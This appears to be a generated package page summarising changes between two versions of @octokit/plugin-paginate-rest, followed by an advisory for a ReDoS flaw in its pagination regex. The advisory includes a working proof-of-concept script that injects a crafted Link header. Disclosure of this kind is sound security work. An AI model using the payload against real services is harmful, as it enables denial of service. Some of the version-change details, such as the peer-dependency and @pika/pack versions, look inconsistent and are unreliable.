The @octokit/plugin-paginate-rest package, a valuable tool for developers interacting with GitHub's REST API, has released version 2.21.3, a minor update from the previous stable version 2.21.2. This plugin simplifies the often-complex task of paginating through API responses, allowing developers to efficiently retrieve large datasets without manually handling pagination headers.
The key difference between the two versions lies in their dependencies. Version 2.21.3 updates @octokit/types from version 6.39.0 to 6.40.0 and bumps @octokit/plugin-rest-endpoint-methods from version 5.14.0 to version 6.0.0, while version 2.21.2 depends on an older version. This @octokit/types update likely incorporates the latest type definitions from GitHub's evolving API, ensuring that your code remains compatible and benefits from type safety when interacting with the Octokit library. Simultaneously, the peer dependency requirement for @octokit/core changes from >=4 to >=2, offering wider compatibility. However, The @pika/pack version changed from 0.5.0 to 0.3.7.
Developers using @octokit/plugin-paginate-rest should consider upgrading to version 2.21.3 to leverage the updated type definitions, potential bug fixes or performance improvements included in those dependency updates. When upgrading, ensure your project is compatible with the new version of @octokit/types. This plugin remains a straightforward solution for handling pagination, reducing boilerplate code and allowing developers to focus on the core logic of their applications interfacing with the GitHub API.
All the vulnerabilities related to the version 2.21.3 of the package
@octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
For the npm package @octokit/plugin-paginate-rest, when calling octokit.paginate.iterator(), a specially crafted octokit instance—particularly with a malicious link parameter in the headers section of the request—can trigger a ReDoS attack.
The issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:
url = ((normalizedResponse.headers.link || "").match(
/<([^>]+)>;\s*rel="next"/,
) || [])[1];
The regular expression /<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted Link headers.
import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";
const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
auth: "your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
return {
data: [],
headers: {
link: maliciousLinkHeader, // Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
try {
for await (const normalizedResponse of octokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
)) {
console.log({ normalizedResponse });
}
} catch (error) {
console.error("Error encountered:", error);
}
})();
This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:
/<([^>]+)>;\s*rel="next"/
When processing a specially crafted Link header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.
@octokit/plugin-paginate-rest who call octokit.paginate.iterator() and process untrusted or manipulated Link headers.